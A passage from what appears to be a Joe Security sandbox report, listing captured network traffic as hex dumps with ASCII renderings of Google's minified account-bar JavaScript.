2021-11-25 17:33:43 UTC 435 IN Data Raw: 79 43 6c 61 73 73 4e 61 6d 65 28 22 67 62 5f 4f 63 22 29 3b 66 6f 72 28 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 
74 68 3b 62 2b 2b 29 63 3d 61 5b 62 5d 2c 5f 2e 4e 28 63 2c 22 67 62 5f 54 63 22 29 3f 74 68 69 73 2e 4f 62 28 6e 65 77 
20 6e 69 28 74 68 69 73 2c 63 29 29 3a 74 68 69 73 2e 4f 62 28 6e 65 77 20 6d 69 28 74 68 69 73 2c 63 29 29 3b 74 68 
69 73 2e 6a 3d 5f 2e 4c 28 22 67 62 5f 50 63 22 2c 74 68 69 73 2e 48 28 29 29 7d 3b 5f 2e 74 28 70 69 2c 5f 2e 4f 68 29 
3b 5f 2e 68 3d 70 69 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 5f 2e 68 2e 4f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 4f 
68 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 62 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 3b 76 61 72 20 62 3d 74 68 69 73 2e 6f 
2c 63 3d 61 2e 48 28 29 3b 63 3d 63 2e 69 64 7c 7c 28 63 
Data Ascii: yClassName("gb_Oc");for(b=0;b<a.length;b++)c=a[b],_.N(c,"gb_Tc")?this.Ob(new ni(this,c)):this.Ob(new 
mi(this,c));this.j=_.L("gb_Pc",this.H())};_.t(pi,_.Oh);_.h=pi.prototype;_.h.Ob=function(a){_.Oh.prototype.Ob.call(this,a);var b
=this.o,c=a.H();c=c.id||(c

2021-11-25 17:33:43 UTC 436 IN Data Raw: 75 72 6e 20 77 69 28 74 68 69 73 2c 74 68 69 73 2e 44 29 7d 3b 5f 2e 68 2e 59 68 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 76 69 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 77 69 28 74 68 69 73 2c 74 68 69 73 2e 4a 29 7d 3b 0a 76 61 
72 20 77 69 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 6e 65 77 20 70 69 28 61 29 2c 64 3d 63 2e 
48 28 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 3b 61 2e 4f 62 28 63 29 3b 72 65 74 75 72 6e 20 63 7d 2c 7
6 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 44 7c 7c 28 61 2e 44 3d 5f 2e 6d 65 28 22 44 49 56 22 29 2c 5f 2e 4f 2
8 61 2e 44 2c 22 67 62 5f 4a 63 22 29 2c 61 2e 41 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 2e 44 29 2c 61 2e 4a 3d 5f 
2e 6d 65 28 22 44 49 56 22 29 2c 5f 2e 4f 28 61 2e 4a 2c 22 67 62 
Data Ascii: urn wi(this,this.D)};_.h.Yh=function(){vi(this);return wi(this,this.J)};var wi=function(a,b){var c=new pi(a),d=c.H();b
.appendChild(d);a.Ob(c);return c},vi=function(a){a.D||(a.D=_.me("DIV"),_.O(a.D,"gb_Jc"),a.A.appendChild(a.D),a
.J=_.me("DIV"),_.O(a.J,"gb
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2021-11-25 17:33:43 UTC 437 IN Data Raw: 28 74 68 69 73 29 2c 61 26 26 5f 2e 75 67 28 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 2e 4a 67 28 74 68 69 73 2e 
6a 2c 22 74 72 61 6e 73 69 74 69 6f 6e 22 2c 22 22 29 7d 2c 30 2c 74 68 69 73 29 29 7d 3b 5f 2e 68 2e 50 62 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 4e 28 74 68 69 73 2e 6a 2c 22 67 62 5f 6c 61 22 29 7d 3b 0a 76 61 72 
20 74 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 6b 68 28 61 2e 6f 2c 61 2e 48 28 29 2c 61 2e 5a 29 3b 61 2e 48 28 
29 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 63 29 
7b 33 32 3d 3d 63 2e 6b 65 79 43 6f 64 65 26 26 63 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 29 3b 5f 2e 
6b 68 28 61 2e 6f 2c 61 2e 41 2c 61 2e 72 6a 29 3b 61 2e 6f 
Data Ascii: (this),a&&_.ug(function(){_.Jg(this.j,"transition","")},0,this))};_.h.Pb=function(){return _.N(this.j,"gb_la")};var ti
=function(a){_.kh(a.o,a.H(),a.Z);a.H().addEventListener("keydown",function(c){32==c.keyCode&&c.preventDefault(
)});_.kh(a.o,a.A,a.rj);a.o

2021-11-25 17:33:43 UTC 438 IN Data Raw: 55 26 26 21 78 69 28 74 68 69 73 29 7c 7c 28 74 68 69 73 2e 63 6c 6f 73 65 28 29 2c 6e 75 6c 6c 21 3d 74 68 
69 73 2e 56 26 26 74 68 69 73 2e 56 2e 66 6f 63 75 73 28 29 29 7d 39 3d 3d 3d 61 2e 6b 65 79 43 6f 64 65 26 26 74 68 
69 73 2e 50 62 28 29 26 26 78 69 28 74 68 69 73 29 26 26 28 62 3d 61 2e 74 61 72 67 65 74 2c 63 3d 5f 2e 46 68 28 74 
68 69 73 2e 6a 29 2c 30 3c 63 2e 6c 65 6e 67 74 68 26 26 28 62 3d 3d 63 5b 30 5d 26 26 61 2e 73 68 69 66 74 4b 65 79 3
f 28 63 5b 63 2e 6c 65 6e 67 74 68 2d 31 5d 2e 66 6f 63 75 73 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 
28 29 29 3a 62 21 3d 63 5b 63 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 61 2e 73 68 69 66 74 4b 65 79 7c 7c 28 63 5b 30 5d 
2e 66 6f 63 75 73 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 
Data Ascii: U&&!xi(this)||(this.close(),null!=this.V&&this.V.focus())}9===a.keyCode&&this.Pb()&&xi(this)&&(b=a.target,c=
_.Fh(this.j),0<c.length&&(b==c[0]&&a.shiftKey?(c[c.length-1].focus(),a.preventDefault()):b!=c[c.length-1]||a.shiftKey||(
c[0].focus(),a.preventDefau

2021-11-25 17:33:43 UTC 440 IN Data Raw: 2c 74 68 69 73 2e 6a 2c 21 31 2c 74 68 69 73 29 7d 3b 5f 2e 74 28 5f 2e 50 68 2c 5f 2e 4e 68 29 3b 0a 5f 2e 
50 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 64 69 73 70 61 74 63 68 
45 76 65 6e 74 28 22 63 6c 69 63 6b 22 29 7c 7c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 3b 0a 76 61 
72 20 41 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6a 3d 6e 75 6c 6c 7d 3b 41 69 2e 70 72 6f 74 6f 74 79 70 
65 2e 6a 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6a 7d 3b 0a 76 61 72 20 42 69 3d 
66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 74 68 69 73 2e 6f 3d 61 3b 74 68 69 73 2e 6a 3d 62 3b 74 68 69 73 2e 41 
3d 63 7c 7c 5f 2e 75 7d 3b 0a 76 61 72 20 43 69 3d 66 75 6e 63 
Data Ascii: ,this.j,!1,this)};_.t(_.Ph,_.Nh);_.Ph.prototype.j=function(a){this.dispatchEvent("click")||a.preventDefault()};var Ai=
function(){this.j=null};Ai.prototype.jd=function(){return this.j};var Bi=function(a,b,c){this.o=a;this.j=b;this.A=c||_.u};var Ci=f
unc

2021-11-25 17:33:43 UTC 441 IN Data Raw: 74 68 69 73 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 72 65 73 69 7a 65 22 29 7d 7d 3b 0a 76 61 72 
20 46 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 51 2e 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 6f 3d 61 7c 
7c 77 69 6e 64 6f 77 3b 74 68 69 73 2e 41 3d 5f 2e 50 28 74 68 69 73 2e 6f 2c 22 72 65 73 69 7a 65 22 2c 74 68 69 73 2e 
42 2c 21 31 2c 74 68 69 73 29 3b 74 68 69 73 2e 6a 3d 5f 2e 6a 67 28 74 68 69 73 2e 6f 29 7d 2c 47 69 2c 44 69 3b 5f 2e 
7a 28 46 69 2c 5f 2e 51 29 3b 5f 2e 48 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2c 62 
3d 5f 2e 63 62 28 61 29 3b 72 65 74 75 72 6e 20 47 69 5b 62 5d 3d 47 69 5b 62 5d 7c 7c 6e 65 77 20 46 69 28 61 29 7d 
3b 47 69 3d 7b 7d 3b 44 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 
Data Ascii: this.dispatchEvent("resize")}};var Fi=function(a){_.Q.call(this);this.o=a||window;this.A=_.P(this.o,"resize"
,this.B,!1,this);this.j=_.jg(this.o)},Gi,Di;_.z(Fi,_.Q);_.Hi=function(){var a=window,b=_.cb(a);return Gi[b]=Gi[b]||new Fi(a)};Gi={
};Di=function(a)

2021-11-25 17:33:43 UTC 442 IN Data Raw: 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 61 3a 22 74 72 75 65 22 3d 3d 61 29 7c 7c 21 31 
7d 3b 5f 2e 51 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 63 75 72 72 65 
6e 74 54 61 72 67 65 74 3b 76 61 72 20 62 3d 5f 2e 42 68 28 61 2c 22 70 72 65 73 73 65 64 22 29 3b 5f 2e 62 67 28 5f 2e 
49 68 28 62 29 29 7c 7c 22 74 72 75 65 22 3d 3d 62 7c 7c 22 66 61 6c 73 65 22 3d 3d 62 3f 5f 2e 4d 28 61 2c 22 70 72 65 
73 73 65 64 22 2c 22 74 72 75 65 22 3d 3d 62 3f 22 66 61 6c 73 65 22 3a 22 74 72 75 65 22 29 3a 61 2e 72 65 6d 6f 76 65 
41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 29 3b 74 68 69 73 2e 64 69 73 70 61 74 63 68 
45 76 65 6e 74 28 22 63 6c 69 63 6b 22 29 7d 3b 0a 76 61 72 
Data Ascii: boolean"===typeof a?a:"true"==a)||!1};_.Qh.prototype.j=function(a){a=a.currentTarget;var b=_.Bh(a,"pressed")
;_.bg(_.Ih(b))||"true"==b||"false"==b?_.M(a,"pressed","true"==b?"false":"true"):a.removeAttribute("aria-pressed");this.d
ispatchEvent("click")};var

2021-11-25 17:33:43 UTC 444 IN Data Raw: 3b 74 68 69 73 2e 52 68 3d 5f 2e 70 28 5f 2e 46 28 74 68 69 73 2e 6f 2c 33 39 29 29 3b 74 68 69 73 2e 77 61 
26 26 74 68 69 73 2e 43 26 26 28 74 68 69 73 2e 72 62 3d 6e 65 77 20 4a 69 28 74 68 69 73 2e 41 2c 50 69 29 2c 74 68 
69 73 2e 72 62 2e 6f 28 22 63 61 74 63 22 2c 74 68 69 73 2e 79 61 2c 74 68 69 73 29 2c 74 68 69 73 2e 79 61 28 29 2c 5f 
2e 6b 68 28 74 68 69 73 2e 55 2c 74 68 69 73 2e 43 61 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 
73 2e 50 64 2c 66 3d 21 5f 2e 4e 28 65 2c 22 67 62 5f 41 61 22 29 3b 5f 2e 55 28 65 2c 22 67 62 5f 41 61 22 2c 66 29 7d 
29 29 3b 74 68 69 73 2e 41 64 3d 5f 2e 70 28 5f 2e 46 28 74 68 69 73 2e 6f 2c 31 29 2c 21 31 29 3b 74 68 69 73 2e 7a 64 
3d 5f 2e 70 28 5f 2e 46 28 74 68 69 73 2e 6f 2c 34 30 29 2c 21 
Data Ascii: ;this.Rh=_.p(_.F(this.o,39));this.wa&&this.C&&(this.rb=new Ji(this.A,Pi),this.rb.o("catc",this.ya,this),this.ya(),_.kh
(this.U,this.Ca,function(){var e=this.Pd,f=!_.N(e,"gb_Aa");_.U(e,"gb_Aa",f)}));this.Ad=_.p(_.F(this.o,1),!1);this.zd=_.p
(_.F(this.o,40),!

2021-11-25 17:33:43 UTC 445 IN Data Raw: 24 61 28 61 3f 74 68 69 73 2e 6e 63 3a 74 68 69 73 2e 6d 63 29 3b 76 61 72 20 62 3d 5f 2e 4c 28 22 67 62 5f 
33 22 29 3b 6e 75 6c 6c 21 3d 62 26 26 5f 2e 55 28 62 2c 22 67 62 5f 6a 61 22 2c 61 29 3b 74 68 69 73 2e 6a 26 26 74 68 
69 73 2e 7a 64 26 26 5f 2e 55 28 74 68 69 73 2e 6a 2e 6a 2c 22 67 62 5f 45 63 22 2c 61 29 3b 5f 2e 4b 2e 6a 28 29 2e 43 
2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 63 2e 5a 61 28 61 29 7d 2c 76 6f 69 64 20 30 2c 74 68 69 73 29 3b 
74 68 69 73 2e 5a 26 26 5f 2e 55 28 74 68 69 73 2e 5a 2c 22 67 62 5f 6a 61 22 2c 61 29 3b 5f 2e 73 68 28 22 64 64 22 29 
2e 5a 61 28 61 29 7d 3b 5f 2e 68 2e 48 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 44 61 26 26 28 5f 2e 45 
67 28 74 68 69 73 2e 44 64 2c 61 7c 7c 22 22 29 2c 5f 2e 
Data Ascii: $a(a?this.nc:this.mc);var b=_.L("gb_3");null!=b&&_.U(b,"gb_ja",a);this.j&&this.zd&&_.U(this.j.j,"gb_Ec",a);_
.K.j().C.then(function(c){c.Za(a)},void 0,this);this.Z&&_.U(this.Z,"gb_ja",a);_.sh("dd").Za(a)};_.h.Hk=function(a){this.Da&&
(_.Eg(this.Dd,a||""),_.

2021-11-25 17:33:43 UTC 446 IN Data Raw: 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 3d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 5a 64 3b 56 2e 70 72 6f 74 
6f 74 79 70 65 2e 63 62 3d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 5a 68 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 63 3d 56 
2e 70 72 6f 74 6f 74 79 70 65 2e 24 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 64 3d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 
6d 61 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 65 3d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 59 68 3b 56 2e 70 72 6f 74 6f 
74 79 70 65 2e 63 66 3d 56 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 70 65 6e 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 67 3d 
0a 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 3b 56 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 3d 56 2e 70 72 6f 74 6f 
74 79 70 65 2e 67 65 74 53 74 79 6c 65 3b 56 2e 70 
Data Ascii: ;V.prototype.ca=V.prototype.Zd;V.prototype.cb=V.prototype.Zh;V.prototype.cc=V.prototype.$;V.protot
ype.cd=V.prototype.ma;V.prototype.ce=V.prototype.Yh;V.prototype.cf=V.prototype.open;V.prototype.cg=V.prototype
.close;V.prototype.ch=V.prototype.getStyle;V.p
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2021-11-25 17:33:43 UTC 447 IN Data Raw: 71 61 22 3d 3d 62 3b 64 3d 22 67 62 5f 4b 64 22 3d 3d 62 3b 61 2e 46 63 26 26 61 2e 59 26 26 5f 2e 55 28 61 
2e 59 2c 22 67 62 5f 41 61 22 2c 63 7c 7c 64 29 3b 76 61 72 20 65 3d 59 69 28 61 2c 62 29 3b 61 2e 6a 26 26 65 3f 5f 2e 
5a 69 28 61 29 7c 7c 6e 75 6c 6c 3d 3d 61 2e 58 7c 7c 28 65 3d 5f 2e 4c 28 22 67 62 5f 4d 63 22 29 2c 61 2e 58 2e 70 61 
72 65 6e 74 4e 6f 64 65 21 3d 65 26 26 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2e 58 2c 65 2e 63 68 69 6c 64 
4e 6f 64 65 73 5b 30 5d 7c 7c 6e 75 6c 6c 29 2c 5f 2e 4f 28 61 2e 46 2c 22 67 62 5f 52 64 22 29 2c 61 2e 74 61 28 29 2c 
61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 75 70 69 22 29 29 3a 5f 2e 5a 69 28 61 29 26 26 61 2e 43 26 26 6e 
75 6c 6c 21 3d 61 2e 58 26 26 28 65 3d 61 2e 46 6a 2c 65 2e 69 
Data Ascii: qa"==b;d="gb_Kd"==b;a.Fc&&a.Y&&_.U(a.Y,"gb_Aa",c||d);var e=Yi(a,b);a.j&&e?_.Zi(a)||null==a.X||(e=_
.L("gb_Mc"),a.X.parentNode!=e&&e.insertBefore(a.X,e.childNodes[0]||null),_.O(a.F,"gb_Rd"),a.ta(),a.dispatchEvent("upi"))
:_.Zi(a)&&a.C&&null!=a.X&&(e=a.Fj,e.i

2021-11-25 17:33:43 UTC 449 IN Data Raw: 30 29 3b 30 3c 65 26 26 28 64 3d 65 29 3b 65 3d 64 2b 32 2a 4d 61 74 68 2e 6d 61 78 28 62 2c 63 29 3b 62 3d 
64 2b 62 2b 63 3b 72 65 74 75 72 6e 20 65 21 3d 62 26 26 61 2e 24 3f 5b 7b 69 64 3a 31 2c 6d 61 78 3a 62 7d 2c 7b 69 
64 3a 32 2c 6d 61 78 3a 65 7d 2c 7b 69 64 3a 33 7d 5d 3a 5b 7b 69 64 3a 31 2c 6d 61 78 3a 62 7d 2c 7b 69 64 3a 33 7d 
5d 7d 2c 4c 69 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 0a 62 29 7b 69 66 28 61 3d 5f 2e 4c 28 62 3f 22 67 62 5f 6b 65 22 3a 
22 67 62 5f 6c 65 22 2c 61 2e 41 29 29 7b 76 61 72 20 63 3d 0d 0a 
Data Ascii: 0);0<e&&(d=e);e=d+2*Math.max(b,c);b=d+b+c;return e!=b&&a.$?[{id:1,max:b},{id:2,max:e},{id:3}]:[{id:1,max:b},
{id:3}]},Li=function(a,b){if(a=_.L(b?"gb_ke":"gb_le",a.A)){var c=

2021-11-25 17:33:43 UTC 449 IN Data Raw: 33 35 30 63 0d 0a 61 2e 6f 66 66 73 65 74 57 69 64 74 68 3b 5f 2e 6d 62 28 61 2e 63 68 69 6c 64 72 65 6e 2c 
66 75 6e 63 74 69 6f 6e 28 64 29 7b 5f 2e 4e 28 64 2c 22 67 62 5f 41 61 22 29 26 26 28 63 2d 3d 64 2e 6f 66 66 73 65 74 
57 69 64 74 68 29 7d 29 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 20 30 7d 2c 62 6a 3d 66 75 6e 63 74 69 6f 6e 
28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 63 6c 69 63 6b 28 29 7d 7d 2c 24 69 3d 66 75 
6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 4c 28 22 67 62 5f 6b 65 22 2c 61 2e 41 29 2c 63 3d 5f 2e 4c 28 22 
67 62 5f 6c 65 22 2c 61 2e 41 29 2c 64 3d 5b 5d 3b 62 26 26 5f 2e 6d 62 28 62 2e 63 68 69 6c 64 72 65 6e 2c 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 64 2e 70 75 73 68 28 65 29 7d 29 3b 5f 
Data Ascii: 350ca.offsetWidth;_.mb(a.children,function(d){_.N(d,"gb_Aa")&&(c-=d.offsetWidth)});return c}return 0},bj=fun
ction(a){return function(){a.click()}},$i=function(a){var b=_.L("gb_ke",a.A),c=_.L("gb_le",a.A),d=[];b&&_.mb(b.children,
function(e){d.push(e)});_

2021-11-25 17:33:43 UTC 450 IN Data Raw: 2c 67 3d 62 2e 63 68 69 6c 64 72 65 6e 5b 30 5d 3b 64 3f 66 3d 67 2e 63 68 69 6c 64 72 65 6e 5b 30 5d 2e 63 
68 69 6c 64 72 65 6e 5b 30 5d 2e 73 72 63 3a 62 2e 6a 3f 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 
63 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 6d 61 74 65 72 69 61 6c 2f 73 79 73 74 65 6d 2f 31 78 2f 73 65 61 
72 63 68 5f 62 6c 61 63 6b 5f 32 34 64 70 2e 70 6e 67 22 3a 0a 66 3d 67 2e 73 72 63 3b 61 2e 42 3d 5f 2e 53 28 22 49 4d 
47 22 29 3b 5f 2e 79 65 28 61 2e 42 2c 5b 22 67 62 5f 53 63 22 2c 22 67 62 5f 76 65 22 5d 29 3b 61 2e 42 2e 73 65 74 41 
74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 66 29 3b 5f 2e 54 68 28 61 2e 42 2c 65 29 3b 61 2e 56 2e 61 70 70 65 6e 
64 43 68 69 6c 64 28 63 29 7d 3b 57 2e 70 72 6f 74 6f 74 
Data Ascii: ,g=b.children[0];d?f=g.children[0].children[0].src:b.j?f="https://www.gstatic.com/images/icons/material/syst
em/1x/search_black_24dp.png":f=g.src;a.B=_.S("IMG");_.ye(a.B,["gb_Sc","gb_ve"]);a.B.setAttribute("src",f);_.Th(a.B,e);a.
V.appendChild(c)};W.protot

2021-11-25 17:33:43 UTC 451 IN Data Raw: 6a 26 26 74 68 69 73 2e 6a 2e 69 73 56 69 73 69 62 6c 65 28 22 62 61 63 6b 22 29 26 26 7a 69 28 74 68 69 73 
2e 6a 29 2c 74 68 69 73 2e 6a 26 26 74 68 69 73 2e 6a 2e 69 73 56 69 73 69 62 6c 65 28 22 6d 65 6e 75 22 29 3f 28 61 
3d 74 68 69 73 2e 6a 2c 61 2e 63 6c 6f 73 65 28 29 2c 5f 2e 4f 28 61 2e 48 28 29 2c 22 67 62 5f 41 61 22 29 2c 21 5f 2e 
4e 28 61 2e 59 2c 22 67 62 5f 41 61 22 29 26 26 5f 2e 7a 65 28 61 2e 48 28 29 2c 22 67 62 5f 7a 63 22 29 29 3a 28 61 3d 
5f 2e 4c 28 22 67 62 5f 75 63 22 2c 74 68 69 73 2e 41 29 29 26 26 5f 2e 4f 28 61 2c 22 67 62 5f 41 61 22 29 2c 62 3d 21 
31 29 3b 62 72 65 61 6b 3b 0a 63 61 73 65 20 22 6e 6f 6e 65 22 3a 74 68 69 73 2e 53 3d 21 30 2c 7a 69 28 74 68 69 73 
2e 6a 29 2c 62 3d 21 31 7d 6e 75 6c 6c 21 3d 74 68 69 73 2e 47 
Data Ascii: j&&this.j.isVisible("back")&&zi(this.j),this.j&&this.j.isVisible("menu")?(a=this.j,a.close(),_.O(a.H(),"gb_Aa"),!_.N(a
.Y,"gb_Aa")&&_.ze(a.H(),"gb_zc")):(a=_.L("gb_uc",this.A))&&_.O(a,"gb_Aa"),b=!1);break;case "none":this.S=!0,zi(this.j),b
=!1}null!=this.G

2021-11-25 17:33:43 UTC 453 IN Data Raw: 22 22 29 29 3b 22 22 3d 3d 62 26 26 22 22 3d 3d 63 7c 7c 56 68 28 61 2e 4a 2c 62 2c 63 29 7d 7d 2c 54 69 3d 
66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 6b 61 5b 30 5d 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4c 69 73 
74 2e 63 6f 6e 74 61 69 6e 73 28 22 67 62 5f 76 63 22 29 3f 31 3a 61 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 
6e 73 28 22 67 62 5f 58 64 22 29 3f 32 3a 30 7d 2c 67 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 65 28 61 
2c 5b 22 67 62 5f 58 64 22 2c 22 67 62 5f 76 63 22 5d 29 3b 31 3d 3d 62 3f 5f 2e 4f 28 61 2c 22 67 62 5f 76 63 22 29 3a 
32 3d 3d 62 26 26 5f 2e 4f 28 61 2c 22 67 62 5f 58 64 22 29 7d 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 24 61 3d 66 75 6e 
63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 41 2e 73 74 79 6c 
Data Ascii: ""));""==b&&""==c||Vh(a.J,b,c)}},Ti=function(a){a=a.ka[0];return a.classList.contains("gb_vc")?1:a.classList
.contains("gb_Xd")?2:0},gj=function(a,b){_.Ae(a,["gb_Xd","gb_vc"]);1==b?_.O(a,"gb_vc"):2==b&&_.O(a,"gb_Xd")};W
.prototype.$a=function(a){this.A.styl

2021-11-25 17:33:43 UTC 454 IN Data Raw: 65 7b 76 61 72 20 6b 6a 3d 5f 2e 48 28 5f 2e 48 64 2c 5f 2e 72 68 2c 36 29 7c 7c 6e 65 77 20 5f 2e 72 68 2c 6c 
6a 3d 6e 65 77 20 57 28 6a 6a 2c 6b 6a 2c 5f 2e 4c 64 2c 5f 2e 4c 28 22 67 62 5f 4a 64 22 29 29 3b 5f 2e 79 28 22 67 62 
61 72 2e 50 22 2c 57 29 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 3d 57 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 48 
65 69 67 68 74 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 70 62 3d 57 2e 70 72 6f 74 6f 74 79 70 65 2e 48 6b 3b 57 2e 70 72 
6f 74 6f 74 79 70 65 2e 70 63 3d 57 2e 70 72 6f 74 6f 74 79 70 65 2e 56 62 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 70 64 
3d 57 2e 70 72 6f 74 6f 74 79 70 65 2e 24 61 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 70 65 3d 57 2e 70 72 6f 74 6f 74 79 
70 65 2e 74 63 3b 57 2e 70 72 6f 74 6f 74 79 70 65 2e 
Data Ascii: e{var kj=_.H(_.Hd,_.rh,6)||new _.rh,lj=new W(jj,kj,_.Ld,_.L("gb_Jd"));_.y("gbar.P",W);W.prototype.pa=W.proto
type.getHeight;W.prototype.pb=W.prototype.Hk;W.prototype.pc=W.prototype.Vb;W.prototype.pd=W.prototype.$a;W.pro
totype.pe=W.prototype.tc;W.prototype.

2021-11-25 17:33:43 UTC 455 IN Data Raw: 5f 2e 6d 6a 2e 6f 2c 33 29 29 66 6f 72 28 76 61 72 20 72 6a 3d 5f 2e 6d 68 28 71 6a 29 2c 73 6a 3d 30 3b 73 
6a 3c 72 6a 2e 6c 65 6e 67 74 68 3b 73 6a 2b 2b 29 5f 2e 62 69 28 72 6a 5b 73 6a 5d 2c 22 6f 67 70 63 22 2c 22 22 29 3b 
5f 2e 66 6a 28 5f 2e 6d 6a 2c 21 21 5f 2e 6d 6a 2e 6a 26 26 5f 2e 6d 6a 2e 6a 2e 50 62 28 29 2c 21 31 29 7d 0a 3b 0a 7d 
63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 7b 0a 5f 2e 74 6a 3d 
66 75 6e 63 74 69 6f 6e 28 61 29 7b 5f 2e 44 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 7d 3b 5f 2e 74 28 5f 2e 74 6a 2c 5f 
2e 44 29 3b 0a 0a 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 0a 74 72 79 
7b 0a 5f 2e 75 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 
Data Ascii: _.mj.o,3))for(var rj=_.mh(qj),sj=0;sj<rj.length;sj++)_.bi(rj[sj],"ogpc","");_.fj(_.mj,!!_.mj.j&&_.mj.j.Pb(),!1)};}catch(e)
{_._DumpException(e)}try{_.tj=function(a){_.D.call(this,a)};_.t(_.tj,_.D);}catch(e){_._DumpException(e)}try{_.uj=function(a,b

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 45 of 90



2021-11-25 17:33:43 UTC 456 IN Data Raw: 7d 29 7d 2c 43 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 45 6a 29 7b 76 61 72 20 63 3d 5f 2e 
6d 65 28 22 53 43 52 49 50 54 22 29 3b 63 2e 61 73 79 6e 63 3d 21 30 3b 63 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 
76 61 73 63 72 69 70 74 22 3b 63 2e 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3b 5f 2e 41 6a 28 63 2c 45 6a 29 3b 
63 2e 6f 6e 6c 6f 61 64 3d 5f 2e 63 65 28 42 6a 2c 61 2c 62 2c 63 2e 73 72 63 29 3b 63 2e 6f 6e 65 72 72 6f 72 3d 5f 2e 
63 65 28 44 6a 2c 61 2c 62 2c 63 2e 73 72 63 29 3b 5f 2e 4d 64 2e 6c 6f 67 28 34 35 2c 7b 61 74 74 3a 61 2c 6d 61 78 3a 
